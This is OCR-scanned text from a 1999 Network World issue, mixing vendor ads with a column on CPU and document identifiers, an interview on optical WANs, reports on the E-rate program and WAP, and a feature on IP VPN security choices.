FastCharge™  cuts  recharge  time  by  75% 


■  PowerChute®  plus  software  provides 
warnings,  environmental  monitoring 
and  safe  shutdown  (features  vary  by 
UPS  and  OS) 


■  SNMP  compatible  and  manageable  by 
your  Web  browser 

■  FlexEvents’"  E-mails  or  pages  you 
before  your  users  know  of  problems 


" The  best  equipment  doesn't  fail: 
we  use  APC's  Back-UPS  Prtf.  “ 

Brian  Walsh,  Manager, 

In-store  Systems,  Help  Desk, 

A&P  Grocers 
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Find  out  why  APC  has  won  over 
130  awards  for  reliability  and  visit 
www.apcc.com  today. 


"Because  power  failure  is  not 
acceptable,  APC  Smart-UPS ® 
are  our  standard." 


Paul  Thacker,  Staff  Engineer 
Honda  of  America, 
Information  Services  Group 
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Privacy,  anonymity  fanatics  are  all  wet 


I’ve  been  chortling  quite  a  bit  lately 
watching  the  privacy  and  anonymity 
fanatics  jump  all  over  Intel  and  Micro¬ 
soft.  They’re  upset  at  Intel  for  putting 


traceable  ID  numbers  on  CPUs  and  mad 
at  Microsoft  for  embedding  in  docu¬ 
ments  Ethernet  media  access  control 
(MAC)  addresses,  which  show  what 


machine  created  a  document.  As  an 
advocate  for  directory  services,  I  believe 
in  the  necessity  of  digital  identity.  In  fact, 
I’m  behind  multiple  digital  identities 


Catalyst  5000 


fails,  APC  prevails 


APC 


Networking 


solutions 
starting  at  $399 


Datacenters 


solutions 
starting  at  $3,599 


Enterprise 


solutions 
starting  at  $14,803 


■  Complete  UPS  protection  for  hubs, 
switches  and  routers 

■  Managed  enclosures  for  every  server 
platform  and  internetworking  equipment 

■  Remote  power  management  reboot 
and  diagnosis 

■  User  paging  when  network  power 
anomalies  occur 

■  User-replaceable  and  hot-swappable 
batteries 

■  Data,  network  and  serial  line  protection 

B'APC  NetShelterg*... offered 
many  advantages  over 
conventional  racks,  such  as 
great  ventilation,  mobility,  and 
security  management. " 

Joe  Traina,  Sales  Representative, 
AlphaNet  Solutions,  Inc. 


■  Power  Array  "  technology  promises 
complete  peace  of  mind  for  any 
size  datacenter 

■  Scalability  allows  modular  expansion 
and  reconfiguration  as  your  datacenter 
grows 

■  Symmetra"  reduces  risk  of  system 
downtime  with  N+1  redundancy 

■  Complete  solution  integrates  into 
all  popular  enterprise  management 
solutions 

"APC  has  innovative  technolo¬ 
gy  which  promises  reliability, 
Symmetra  ™  interacts 
smoothly  with  both  hardware 
and  software. " 

Ron  O'Reilly,  Field  Support 
Formerly  Manager/IS, 

Toyota  Motor  Sales,  USA 


■  For  site-wide  protection  from  lOkVA 
to  infinity 

■  Innovative  Delta  conversion™  design 
means  unmatched  efficiency  and  low 
operating  costs 

■  Small  footprint  saves  facility  space 

■  PowerAudit5”  physical  consulting 
identifies  problems  before  they  occur 
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(different  identities  for  different  situa¬ 
tions,  such  as  e-commerce  and  chat). 

Every  device  attached  to  a  network 
needs  to  have  uniquely  identified  ad¬ 
dresses:  the  MAC  address  of  the  network 
card,  an  IP  (or  IPX)  address  that  contains 
built-in  logic  to  help  with  routing,  and 
(for  IP  and  NetBIOS)  a  machine  name. 
Many,  if  not  most,  networks  also  require 
the  user  of  a  device  to  authenticate  him¬ 
self  with  a  user  name  before  using  the 
device. This  is  all  necessary  —  networks 
can’t  work  without  these  identifiers. 

Evidently  the  privacy  fringe  element 
isn’t  aware  of  this  because  it  is  also  up 
in  arms  about  Sun’s  Jini  initiative  —  a 
Java-based  way  of  connecting  almost 
any  type  of  device  to  a  network  in  plug- 
and-play  fashion.  Each  device  is  assigned 
a  unique  number  (its  network  address) 
when  it’s  attached  to  the  network. 

Even  the  more  well-intentioned  and 
computer-knowledgeable  privacy  advo¬ 
cates  are  going  off  the  deep  end  on  this 
one.  Lauren  Weinstein,  editor  of  “Privacy 
Forum”  and  a  member  of  the  Associ¬ 
ation  for  Computing  Machinery  Com¬ 
mittee  on  Computers  and  Public  Policy, 
worries  that  “once  information  be¬ 
comes  available  for  one  purpose  there  is 
always  pressure  from  other  organiza¬ 
tions  to  use  it  for  their  purposes.” 
Followed  to  its  logical  conclusion,  this 
sentiment  would  mean  doing  away  with 
all  identifiers  (such  as  phone  numbers) 
because  they  might  be  misused.  Ban¬ 
ning  the  use  of  something  because  it 
might  possibly  be  misused  is  throwing 
the  baby  out  with  the  bath  water.  Make 
the  misuse  illegal,  then  enforce  the  law. 

Intel’s  Pentium  III  serial  number  and 
Microsoft’s  embedded  unique  identifier 
serve  legitimate  purposes.  Unlike  fellow 
columnist  Scott  Bradner,  I  don’t  think  of 
this  as  personal  data  but  as  necessary 
network  data.  Used  properly,  it  makes 
your  job  easier. 

Kearns,  a  former  network  adminis¬ 
trator,  is  a  freelance  writer  and  con¬ 
sultant  in  Austin,  Texas.  He  can  be 
reached  at  wired@vquill.com. 


If  you  want  to 
know  more  about  the 
identifier  Microsoft 
embeds  in  Office  97  documents,  visit 
www.microsoft.com/presspass/ 
features/1 999/03-08c  ustletter2.htm. 
Another  hot  button  with  privacy  advo¬ 
cates  is  the  Windows  98  registration 
process,  which  sends  serial  numbers 
to  a  database  at  Microsoft.  Go  to 
www.microsoft.com/presspass/ 
features/1999/03-08custletter2.htm. 
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The  new  Pentium®  III  processor. 

More  power  for  your  network,  the  Internet  and  beyond. 

It’s  a  wired  world.  That’s  why  you  need  the 
new  Intel®  processor  designed  for  the 
Net:  the  Pentium®  III  processor.  It  gives  you 
more  power  to  run  today’s  Net-based 
applications.  And  more  power  on  the  client  can  mean  less 
stress  on  the  Net.  The  Pentium  III  processor  also  helps 
you  keep  track  of  your  networked  resources.  And,  working 
in  concert  with  a  Pentium®  III  Xeon™  processor-based 
server,  you  have  a  powerful  combination  for  your  connected 
business.  To  learn  more  about  the  Pentium  III  processor, 
visit  us  on  the  Web,  where  you’ll  also  find  information  on 
Intel®  products  and  year  2000.*  ►  www.intel.com/it 
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Software  building 
blocks  for  Web 
Self-Service  apps 
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WebSphere  Application  Server  combines  a  Java  servlet 
runtime  environment  with  connectors  to  databases  and 
object  request  brokers.  So  you  can  bake  existing  business 
functions  right  into  your  site.  WebSphere  Studio  helps 
you  create  servlets  in  record  time. 

Lotus  Domino  Application  Server  lets  you  build 
collaborative  workflow  applications  for  rapidly 
changing  business  processes.  Domino  supports  secure, 
highly  interactive  Web  Self-Service  solutions. 

DB2  Universal  Database  powers  some  of  the  Webs 
busiest  sites  because  it  can  support  a  world  of  users  with 
world-class  performance.  Fully  Java-enabled,  it  runs 
natively  on  all  leading  platforms. 

Net. Commerce  software  combines  individual  customer 
service  with  the  ability  to  close  the  sale.  All  in  one  secure, 
easy-to  -customize  package.  It  includes  everything  you 
need  to  develop,  host  and  operate  e-commerce  Web  sites. 


See  it  run  before  you  buy 

FREE  WEB  SELF-SERVICE  STARTER  PACK.  From 
product  demos  to  trial  code,  everything  you  need  to  start 
building  dynamic  self-service  Web  apps  today  is  free  right 
now  at:  www.software.ihm.com/webselfserv. 


Optical  visionary  sees 
0C-48s  in  your  future 


ItaoikMI 


Start  thinking 
about  buying  WAN 
bandwidth  by  the 
gigabit.  That’s  the 
advice  of  Desh 
Deshpande,  CEO  of 
start-up  Sycamore  Networks,  Inc.,  which 
is  building  optical  gear  for  carriers. 

Following  his  success  as  founder  of 
frame  relay  pioneer  Cascade  Communi¬ 
cations,  Deshpande  has  turned  his  eyes 
to  the  next  frontier:  optical  networking. 

He  says  new  optical  hardware  will 
make  bandwidth  so  plentiful  and  so 
easy  to  set  up  and  manage  that  enter¬ 
prise  network  execu¬ 
tives  will  stop  thinking 
about  the  WAN  as  a 
place  in  which  band¬ 
width  must  be  con¬ 
served. 

Deshpande  recently 
talked  with  Network 
World  Senior  Editor 
Tim  Greene  about  the 
future  of  optical  net¬ 
working. 

What  impact  will 
optical  networking 
have  on  enterprises? 

First,  ISPs  will  start  getting  better 
backbones  and,  therefore,  the  service 
customers  get  through  ISPs  will 
improve. 

Second,  it’s  pretty  clear  that  all  MIS 
architectures  are  moving  toward 
intranet-  and  Web-based  applications. 
Also,  everybody  is  going  toward  virtual 
private  networks.  VPNs  will  catch  fire 
really  quickly,  but  then  people  will  find 
that  T-l  and  even  T-3  is  not  enough 
bandwidth  to  run  some  of  the  applica¬ 
tions,  especially  when  you  start  inter¬ 
connecting  the  headquarters  sites  and 
the  main  sites  of  a  large  company. 

When  people  start  running  out  of 
that  bandwidth,  what  they  will  need  is 
OC-3,  OC-12,  OC-48  type  of  connec¬ 
tions.  At  those  speeds,  it  doesn’t  make 
sense  to  tunnel  through  the  Internet. 
Carriers  will  offer  optical  VPNs. 

What's  an  optical  VPN? 

You  use  the  lightpaths  to  offer  high¬ 
speed  services  to  corporations.  These 
lightpaths  will  carry  the  IP  traffic,  but 
the  IP  traffic  that  .  .  .  stays  within  the 
company. 

What  would  a  corporation  do  with  an 
OC-3,  let  alone  an  OC-48? 

An  OC-3  is  not  that  much.  It’s  155M 
bit/sec.  If  you  look  at  a  lot  of  major 


sites,  the  backbones  are  all  gigabit  —  in 
fact  multiple  gigabits  —  within  the 
campus.  That  is  why  you  are  seeing 
these  multigigabit  hubs  all  over  the 
place.  If  you  have  a  thousand  people  at 
one  site  and  a  thousand  people  at 
another  site,  and  you  have  collaborative 
work  going  on,  155M  bits  to  intercon¬ 
nect  those  things  is  not  unreasonable. 

Won't  that  be  mighty  expensive? 

Prices  will  come  down  20%  to  30% 
per  year  —  forever.  What  I  think  will 
happen  is  that  OC-48  is  kind  of  a  sweet 
spot  in  the  sense  that  it’s  2.5G  bit/sec, 
which  is  an  enormous 
amount  of  bandwidth 
from  today’s  standards. 
But  it’s  a  pretty  easy 
technology  to  work  in 
optics.  It’s  like  the  56K 
bit/sec  modems’  kind 
of  technology.  OC-48 
will  become  like  T-ls 
—  [they’ll  be]  every¬ 
where  in  about  five 
years. 

T-ls  go  for  $500  per 
month. 

A  T-l  just  about  five 
years  ago  was  $20,000  to  $30,000  per 
month.  OC-48  is  probably  where  T-l  was 
10  years  ago. 

So  will  we  be  buying  an  OC-48  for 
$500  per  month? 

In  local  access,  yes. 

Fortune  1000  IT  executives  will  have 
to  think  about  this  when? 

I  think  they’ll  start  thinking  about 
this  in  six  months,  and  you’ll  see  instal¬ 
lations  in  less  than  12  months. 

What  comes  next? 

Within  a  couple  of  years,  they  will  be 
able  to  signal  to  the  optical  network 
and  come  up  with  new  applications. 
Within  three  or  four  years,  the  carriers 
will  start  opening  up  their  networks 
and  will  be  saying:  ‘Not  only  can  I  get 
you  a  lightpath,  I  can  direct  it  wherever 
you  want  it  to  go.’  So  if  you  have  a  net¬ 
work  that  connects  to  Boston,  Chicago, 
New  York  and  Dallas,  you  can  tell  the 
network  where  you  want  the  band¬ 
width  and  for  how  long. 

It's  not  a  technology  enterprise  staffs 
will  have  to  understand  intimately,  is  it? 

Right. What  they  need  to  understand 
is  the  capability  of  that  technology  so 
they  can  go  and  demand  it.  3 
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With  an  IBM  Web  Self-Service  solution,  they’d  all  be  at  the  front  of  the  line  for  ticket 
purchases,  reservations,  seat  changes,  flight  availability  or  frequent  flyer  questions. 


e-business 


IBM,  DB2,  WebSphere,  0B2  Universal  Database,  the  e-business  logo  and  Solutions  for  a  small  planet  are  trademarks  of  International  Business  Machines  Corporation  in  the  United  States  and/or  other  countries.  Java  and  all  Java-based  trademarks  and  logos  are  trademarks  of  Sun  Microsystems,  Inc.  in  the  United  States 
and/or  other  countries.  Other  company,  product  and  service  names  may  be  the  trademarks  or  service  marks  of  others.  ©1999  IBM  Corp.  All  rights  reserved. 


You’ve  got  a  Web  site.  So  why  are  they  still  standing  in  line? 

New  generation  IBM  Web  software  gets  sites  beyond  publishing,  improving  customers’  satisfaction  by  giving  them  tools 
to  serve  themselves  on  their  schedule,  while  increasing  profits  by  freeing  staff  from  routine  tasks.  Our  Web  Self-Service 


solutions  let  you  start  basic  and  add  functionality  as  you  go.  The  result:  highly  interactive  apps  that  link  to  core 


data  and  business  functions  -  and  move  you  to  the  front  of  the  line.  See  how  at  www.software.ibm.com/webselfserv. 


Solutions  for  a  small  planet™ 


TELCO  DIA  IS 
RE-  ENTING  IT 


TODAYS 
TELEPHONE 
NETWORK . 


Bellcore  has  become  Telcordia  Technologies.  And  the  stripes  of  today’s  communication  networks 
will  never  be  the  same.  We’re  creating  the  Next  Generation  Network  to  converge  voice  and  data 
technologies  and  open  amazing  capabilities  for  everyone,  everywhere.  We  started  it.  We’ll  finish  it. 


iff Telcordia. 
Technologies 


Performance  from  Experience 


An  SAIC  Company 


www.telcordia.com  1-800-521-2673 


©1999  Telcordia  Technologies,  Inc. 


Briefs 


BellSouth  Business  this  sum¬ 
mer  will  offer  Enterprise  Network 
Consulting,  a  service  to  help  net¬ 
work  executives  evaluate  and 
plan  their  enterprise  networks. 
The  service  has  four  components: 
performance  assessment,  sec¬ 
urity  consulting,  capacity  planning 
and  design  planning.  Enterprise 
Network  Consulting  is  designed 
for  corporations  based  in  Bell- 
South's  nine-state  service  area, 
but  the  company  will  work  with 
sites  anywhere.  Prices  for  the 
service  components  range  from 
$20,000  for  a  network  evaluation 
to  hundreds  of  thousands  of  dol¬ 
lars  to  design  network  changes 
and  security.  For  more  information 
go  to  www.bellsouth.com. 

Fiber-optic  network  operator 
Global  Crossing  today  announced 
plans  to  lay  a  new  undersea 
cable  linking  major  European 
cities  with  the  U.S.  and  Asia. 
Atlantic  Crossing  2  is  a  fiber-optic 
cable  that  will  transfer  data  at 
speeds  of  up  to  2.5  terabit/sec 
and  will  be  ready  for  service  in 
the  first  quarter  of  2001 .  The  $500 
million  cable  will  be  linked  to 
Atlantic  Crossing  I's  two  cables 
already  in  service,  the  company 
says. 

Long-time  U.S.  network  service 
provider  Westinghouse  Communi¬ 
cations  and  international  carrier 
Infonet  have  expanded  their  mar¬ 
keting  agreement. 

Westinghouse  will  start  offer¬ 
ing  Infonet's  international  28.8K 
bit/sec  dial-up,  ISDN  and  multi- 
media  services.  It  already  offers 
Infonet's  international  frame 
relay. 

The  two  carriers'  networks  are 
linked  via  network-to-network 
interfaces.  Westinghouse  Com¬ 
munications,  originally  an  out¬ 
growth  of  Westinghouse  Corp.'s 
private  network,  was  sold  last 
year  to  RSL  Communications,  a 
rising  international  carrier. 
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Federal  E-rate  limps  to  the  finish  lin 


BY  DAVID  ROHDE 

WASHINGTON,  D.C.  —  School- 
children  and  their  parents  may  be  plan¬ 
ning  their  summer  vacations,  but  net¬ 
work  professionals  at  many  school  dis- 


So  what  was  the  point? 

The  final  tally  of  E-rate  subsidies  for 
the  school  year  shows  that  only  a 
fraction  of  the  money  went  to  offset 
ISP  charges: 


Other  telecommuni 
cations  services: 
40% 


M 


ISP 

access 
services: 
6% 

Mi 


Internal 

connections:* 

54% 


*  For  the  purposes  of  the  E-rate  program,  "internal 
connections"  means  routers,  switches  and  hubs  as 
well  as  internal  wiring  and  interface  cards. 

SOURCE:  UNIVERSAL  SERVICE  ADMINISTRATIVE  CO., 
WASHINGTON.  D.C. 


tricts  are  just  starting  to  implement  their 
technology  plans  for  the  current  acade¬ 
mic  year. 

Reason:  The  administrator  of  the  gov¬ 
ernment’s  new  subsidy  program  for 
school  network  expenditures  has  only 
now  finished  deciding  school  funding 
amounts  for  the  1998-99  school  year. 

Months  behind  schedule,  the 
Universal  Service  Administrative  Co. 
(USAC)  has  completed  its  review  of 
32,000  applications  under  E-rate,  the 
federal  program 
designed  to  provide 
Internet  access  to 
all  of  America’s 
schools  by  paying 
20%  to  90%  of  each 
school’s  related 
costs. 

The  E-rate  pro¬ 
gram  subsidizes 
telecommunications  services  and  “inter¬ 
nal  connections”  according  to  each 
school’s  socioeconomic  standing.  In  the 
program,  internal  connections  represent 
routers,  switches,  hubs  and  PBXs,  as  well 
as  wiring  and  interface  cards. 

Hot  on  the  heels  of  USAC’s  review  of 
applications,  the  General  Accounting 
Office  (GAO)  released  a  report  earlier 


•  Total  funding:  $1.6  billion 

•  Total  number  of  funded 
applications:  25,785 

•  Average  funding  amount 
per  application:  $64,378 


Wireless  'Net  access  technology  faces  uphill  battle 


BY  JANA  SANCHEZ 

While  many  vendors  includ¬ 
ing  Motorola,  Ericsson  and 
Nokia  have  recently  an¬ 
nounced  phones  and  other  devices  that 
let  users  retrieve  information  from  the 
Internet  using  the  emerging  Wireless 
Access  Protocol  (WAP),  it’s  not  clear  that 
WAP  will  be  a  success. 

WAP  has  two  uphill  battles  with 
which  it  must  contend.  Today  there  is 
not  enough  WAP-compatible  content  to 
make  it  worthwhile  for  any  business  or 
consumer  users  to  invest  in  WAP 
devices.  Second,  wireless  service 
providers  are  reluctant  to  upgrade  their 
networks  to  support  the  protocol. 

WAP  is  a  developing  wireless  specifi¬ 
cation  that  defines  how  mobile  phones, 
palmtop  computers  and  other  hand-held 
devices  can  securely  link  to  the  Internet. 
Based  on  Extensible  Markup  Language, 
WAP  resides  with  the  microbrowser  on 
hand-held  devices.  The  specification  is 


designed  to  work  with  most  wireless 
networks,  such  as  Cellular  Digital  Packet 
Data,  Code  Division  Multiple  Access 
(CDMA)  and  global  system  for  mobile 
communications  (GSM). 

Without  uniform  global  standards, 
network  providers  and  consumers  will 
be  reluctant  to  make  the  necessary 
investment  to  connect  their  devices, 
says  Skip  Bryan,  director  of  the  technol¬ 
ogy  market  for  Ericsson.  Bryan  is 
involved  with  the  WAP  Forum,  an  indus¬ 
try  group  including  Motorola,  Nokia  and 
Unwired  Planet,  which  is  developing  the 
WAP  standard. 

In  an  effort  to  bolster  development  of 
WAP-based  content,  the  WAP  Forum  last 
week  announced  a  plan  dubbed  www. 
mmm.,  in  which  the  forum  would  stamp 
a  seal  of  approval  on  WAP-compliant 
content. A  final  version  ofWAP  is  expect¬ 
ed  to  be  available  by  mid-summer. 

Sanchez  is  a  correspondent  with 
IDG  News  Service's  London  bureau. 


this  month  indicating  that  the  E-rate  pro¬ 
gram  still  has  a  lot  of  growing  up  to  do. 

The  GAO  admitted  that  it  was  one  of 
the  main  reasons  the  USAC  fell  behind 
its  disbursement  schedule.  The  GAO 
last  year  said  E-rate  desperately  needed 
better  auditing  to  prevent  the  pro¬ 
gram  from  granting  subsidies  for  ineli¬ 
gible  purposes.  That  decision  forced 
USAC  officials  to  re-review  all  the 
applications. 

Now  the  GAO  says  E-rate  still  needs 
more  strategic  direction  from  the 
Federal  Communications  Commission. 

Another  finding:  Only  a  fraction  of 
the  money  disbursed  by  E-rate  — 
which  is  supported  by  surcharges  on  all 
users’  telecom  bills  —  went  directly  to 
fund  Internet  access  services  (see 
graphic). 

Network  professionals  at  school  dis¬ 
tricts  agree  the  E-rate  program  still  needs 
some  shaking  out. 

For  example,  the  USAC  made  some 
“processing  errors”  in  evaluating  New 
York  City’s  application,  according  to 
Joseph  Salvati,  the  city’s  E-rate  coordina¬ 
tor.  The  city  school  district  is  replacing 
random  dial-up  or  dedicated  Internet 
access  at  some  schools  with  a  frame 
relay  network  running  to  all  schools. 
The  project  involves  1 3  vendors. 

The  school  district  is  also  concentrat¬ 
ing  all  Internet  access  at  a  single  point. 
“[In  the  application]  we  had  to  detail 
each  vendor  at  each  school  and  how 
much  money  [that  accounted  for].  But 
it’s  not  practical  for  us  to  pinpoint  that 
far  in  advance,”  Salvati  says. 

He  is  recommending  that  for  the  next 
funding  period,  E-rate  allow  large  school 
districts  to  submit  network  plans  for 
groups  of  schools  rather  than  each 
school  separately.  3 
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Carriers  &  ISPs 


Wan  Monitor .  Daniel  Briere  and  Christine  Heckart 

Building  the  networked  economy 


In  the  last  several  columns,  we’ve  dis¬ 
cussed  the  Application  Service 
Provider  (ASP)  and  one  important  sub¬ 
set  of  this  group,  the  Broadband  Enabled 


ASP  We’ve  made  bold  statements  that 
ASPs  have  the  potential  to  change  the 
balance  of  power  in  the  telecom  indus¬ 
try  and  change  the  relationship  between 


service  providers  and  customers.  What 
would  drive  these  dramatic  changes? 

History  paints  the  late  20th  century  as 
the  evolution  of  the  Information  Age 


keeps  you  healthy. 

and  helps  you 
money  too. 


No, 

it’s  not 
your  mother. 
It’s  the 
next  best 
thing: 

N ET Savings 


Ever  wonder  how  much  your  network  is  worth  to  your  business?  $50,000? 
$150,000?  $500,000?  Turn  it  off  for  five  minutes  and  you'll  find  out. 

That's  the  simple  principle  behind  NETSavings — the  mother  of  all 
network-performance  management  services. 

NETSavings  is  a  service  provided  by  your  VAR  or  ISP  that 
allows  you  to  enhance  the  performance  and  improve  the 
reliability  of  your  LANs  and  WANs. 

Imagine  fixing  broken  links  before  your  users  notice  a 
problem.  Eliminating  bottlenecks  before  the  com¬ 
plaints  pour  in.  Adding  the  bandwidth  you  need, 
wherever  you  need  it — without  the  guessing  games 
you  play  today. 

With  NETSavings  you  can  improve  more  than  the 
performance  of  your  network.  You  can  enhance  the 
performance  of  your  business.  And  isn't  that  what 
your  IT  infrastructure  is  really  about? 

Since  the  technology  and  training  for  NETSavings 
come  from  LANQuest — a  leader  in  network  perfor¬ 
mance  testing  and  management  for  more  than  a 
decade — you  can  be  sure  that  it's  been  proven  in 
real-world  use  by  some  of  the  largest  and  most 
successful  networking  companies  in  the  world. 

Find  out  what  NETSavings  can  do  for  the 
value  of  your  network,  and  your  business. 

Call  1-800-487-7779  or  visit  us  on  the 
Web  at  www.lanquest.com  and  use  our 
Network  Value  Calculator  today. 


into  the  Communications  Age.Today,  we 
are  in  the  early  stages  in  the  evolution 
toward  a  networked  economy. 

One  attribute  of  a  networked  econ¬ 
omy  is  that  everything  is  connected  all 
the  time.  In  15  years,  we  will  only 
notice  the  network  when  it’s  not  there. 
Another  attribute  is  that  every  industry, 
starting  with  the  telecom  industry,  will 
undergo  a  realignment  that  changes  the 
way  customers  interact  with  suppliers. 

The  connectivity  part  of  a  networked 
economy  is  the  most  straightforward. 
Connecting  everything  to  the  net  re¬ 
quires  an  abundance  of  low-cost  chips 
and  bandwidth,  and  global  wireless  and 
wireline  communication  systems.  We 
can  say  with  confidence  that  in  the  near 
future,  there  will  be  a  class  of  chips  so 
inexpensive  that  they  will  be  disposable. 

Stop  right  now  and  look  around  you. 
Imagine  everything  you  see  has  at  least 
one  chip  built  into  it.  Everything.  Ask 
yourself  what  the  company  that 
makes,  distributes  or  uses  that  product 
might  gain  if  that  item  could  send  just 
one  small  bit  of  information  about 
itself  back  to  the  manufacturer,  distrib¬ 
utor  or  buyer. 

Think  about  your  firm’s  business. 
Right  now  the  net  you  build  is  designed 
to  handle  relatively  small  amounts  of 
data  compared  to  the  traffic  that  would 
be  generated  if  every  product  your  com¬ 
pany  creates  had  an  embedded  chip. 
That  chip  could  send  a  message  saying  it 
has  just  been  shipped,  put  on  a  store 
shelf,  purchased,  consumed,  moved, 
used,  broken  or  whatever.  We’re  talking 
about  a  lot  of  data! 

This  traffic  creates  a  problem.  There 
might  be  value  in  continually  collecting 
and  aggregating  all  these  bits  of  distrib¬ 
uted  data.  But  to  make  use  of  this,  you 
will  need  access  to  a  lot  of  bandwidth, 
everywhere  and  anywhere,  for  a  much 
lower  price  than  you  pay  for  bandwidth 
today.  Moreover,  you  will  need  systems 
and  applications  designed  to  exchange, 
distribute,  manage  and  extract  informa¬ 
tion  from  the  data  being  collected. 

This  is  where  industry  realignment 
begins  to  be  evident.  Words  such  as 
“deconstruction”  are  used  to  describe 
what  happens  when  you  get  a  high 
degree  of  specialization  and  division 
within  an  industry. 

If  the  telecom  industry  deconstructs 
in  a  similar  way,  we  will  see  service 
providers  fragment  and  specialize.  At 
the  polar  ends  are  the  super  carriers  that 
concentrate  on  providing  wholesale 
capacity  and  the  ASPs  that  provide  prod¬ 
ucts  for  specific  groups  of  users. 

Sooner  or  later  your  own  industry  will 
go  through  a  similar  transition.  Inte¬ 
grating  the  network  and  your  business  is 
at  the  core  of  this  transition. 

Briere  is  president  and  Heckart  is 
vice  president  of  TeleChoice,  a  consul¬ 
tancy  in  Boston.  They  can  be  reached  at 
dbriere@telechoice.com  and  checkart @ 
telechoice.com,  respectively. 
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Carriers  8  ISPs  Special  Focus 


The  VPN  game: 

Who  controls  your  network? 


BY  TIM  GREENE 

You  know  you  want  an  IP  virtual  private  net¬ 
work,  but  you  face  a  difficult  choice:  Build 
your  own  or  buy  a  VPN  service. 

Your  decision  depends  on  how  much  you 
want  to  pay  and  how  fast  and  reliably  you 
want  the  network  to  perform. 

For  many,  the  overriding  concern  is  maintaining 
data  integrity.  If  that  is  the  case,  you  want  to  check  out 
the  inherent  security  of  a  service  provider  network. 

Contrary  to  their  name,  IP  VPNs  may  in  fact  run 
over  carrier-owned  backbones  based  on  frame 
relay  or  ATM,  not  IP.  Customers  send  IP  traffic  into  a 
network,  but  carrier  gear  wraps  it  up  in  frames  or 
ATM  cells  for  transport  across  the  network. 

On  the  other  hand,  a  service  provider 
network  could  be  router-based  and  run  native 
IP  throughout  or  a  mix  of  routed  and  switched 
technology.  A  provider  network  could  even  use 
the  Internet. 

Experts  say  it  is  important  to  know  the  kind 
of  network  that  is  supporting  a  corporate  VPN. 

An  IP  VPN  service  that  is  run  over  a  frame  relay 
or  ATM  switched  backbone  is  as  secure  as  a 
frame  relay  or  ATM  service  made  up  of  virtual 
circuits,  according  to  Tom  Nolle,  president  of 
CIMI  Corp.  in  Voorhees,  N.J. 

It  also  is  important  to  know  what  a  carrier’s 
backbone  is  because  customers  could  ultimate¬ 
ly  pay  extra  for  security  when  they  don’t  need 
it,  he  says. 

Experts  consider  routed  networks  to  be  less 
secure  than  switched  networks  because  there 
are  no  virtual  circuits.  Routed  networks,  includ¬ 
ing  the  Internet,  leave  the  customer  open  to 
spoofing  and  other  forms  of  attacks. 

In  routed  networks,  the  legitimate  users  of  one 
customer’s  VPN  are  separated  from  users  of  other 
customers’VPNs  by  closed  user  groups.  Users  are 
allowed  to  connect  to  only  a  select  group  of  IP 
addresses. 

But  experts  say  that  is  not  strong  enough  security. 
“I  don’t  know  that  I  would  be  happy  just  having 
a  closed  user  group  as  a  means  to  secure  my  re¬ 
sources,”  says  Dave  Kosiur,  an  analyst  for  The  Burton 
Group  in  Reston,Va. 

“That’s  router-level  security.  Anybody  that  could 
find  an  IP  address  for  the  corporation  could  camp 
there  with  a  sniffer  and  wait  for  messages,”  says  Eric 
Paulak,  an  analyst  for  Gartner  Group  in  Stamford, 
Conn. 

VPNs  running  over  such  networks  need  strong 
authentication  and  encryption  to  ensure  privacy. 
Those  added  measures  can  be  controlled  either  by 
the  customer  or  service  provider. 

For  example,  the  emerging  standard  for  VPN  secu¬ 
rity  is  IP  Security  (IPSec),  which  includes  encryption, 
authentication  and  security  management  keys. 

IPSec  can  shore  up  the  weaknesses  of  the  Internet 


VIRTUAL  PRIVATE 
NETWORKS 

Ass  more  network 
executives  see  the  benefits 
of  virtual  private  networks, 
they  have  to  eSecitSe  how 
much  of  their  VPN  to 
keep  undler  corporate 
control. 


or  other  routed  networks. 

“If  you’re  using  IPSec,  you  are  assuming  people 
can  get  to  your  traffic.  And  if  you  are  using  triple-DES 
encryption  and  authentication  packet  by  packet,  it 
will  still  be  secure,”  says  Eric  Zines,  an  analyst  with 
TeleChoice,  a  consultancy  in  Boston. 

When  money  is  an  object 

Many  customers  get  into  VPNs  as  a  way  to  save 
money. 

“We  cannot  afford  the  cost  of  trying  to  build  a 
WAN  through  leased  lines  or  direct  dial-up.  I  would 
need  more  support  people  than  I  have  now,”  says 
Gene  Donlan,  IT  director  for  FormFactor  in  Liver¬ 
more,  Calif. 

“In  almost  all  cases,  it  should  be  cheaper  to  out¬ 
source,”  Zines  says,  adding  that  the  savings  might  not 
be  obvious  right  away,  because  there  are  hidden 
costs  beyond  the  hardware,  software  and  communi¬ 
cations  links. 

For  example,  setting  up  digital  certificates  and  a 
certificate  authority  to  authenticate  users  requires 
expertise  many  enterprises  don’t  have.  So  they  have 


to  train  people  and  divert  them  from  whatever  other 
work  they  were  doing  for  the  company.  That  is  a 
cost,  Zines  says. 

In  addition,  making  the  various  pieces  of  a  VPN  — 
authentication,  firewall,  certificate  management, 
encryption  —  work  together  is  no  small  feat,  Kosiur 
says.  And  dealing  with  users  as  they  get  new  hard¬ 
ware  and  software  and  learn  to  use  the  VPN  can  hike 
up  help  desk  bills,  Zines  says. 

“The  simple  way  is  for  the  service  provider  to  do 
it,”  Kosiur  says. 

Balancing  and  budgeting 

In  the  real  world,  though,  customers  sometimes 
have  to  trade  off  between  cost  and  features.  For 
example,  Enno  Becker,  director  of  Technology 
Infrastructure  for  Forum,  an  international  manage¬ 
ment  training  firm,  oversees  three  VPNs:  one 
interconnecting  offices  that  had  been  connect¬ 
ed  by  frame  relay;  one  for  dial-up  remote 
access  via  the  Internet;  and  an  extranet  for  sup¬ 
pliers  to  dial  up  Forum  network  resources. 

The  VPN  simply  saves  Forum  money.  For 
example,  a  Forum  ISDN  link  between  Hong 
Kong  and  San  Francisco  cost  $6,000  to  $9,000 
per  month.  A  VPN  connection  plus  a  firewall 
costs  about  $3,000  per  month,  Becker  says. 

He  has  chosen  to  keep  management  of  all 
the  networks  in-house  and  uses  Check  Point 
VPN  gear  to  secure  traffic  as  it  goes  over 
the  Internet.  Maintaining  control  lets  him 
change  access  rights  and  passwords  quickly, 
he  says. 

Other  users  want  to  maintain  control  of 
their  networks,  so  they  don’t  feel  locked  in  to  a 
single  service  provider. 

“As  it  is  today,  we  use  three  different  pri¬ 
mary  ISPs.  We  have  the  ability  to  switch  ISPs 
without  reconfiguring  thousands  of  desktop  and 
laptop  systems,”  says  Bill  Brown,  vice  president 
of  customer  and  technical  services  for  Apartment 
Investment  &  Management  Co.  (AIMCO)  in  Green¬ 
ville,  S.C. 

AIMCO  bought  Shiva  VPN  gear  to  run  its  dial-up 
VPN  over  the  Internet.  “With  VPNs,  once  the  initial 
hardware  and  software  is  purchased  you  can  easily 
budget  an  ISP  connection  because  that  is  a  fixed 
cost,”  Brown  says. 

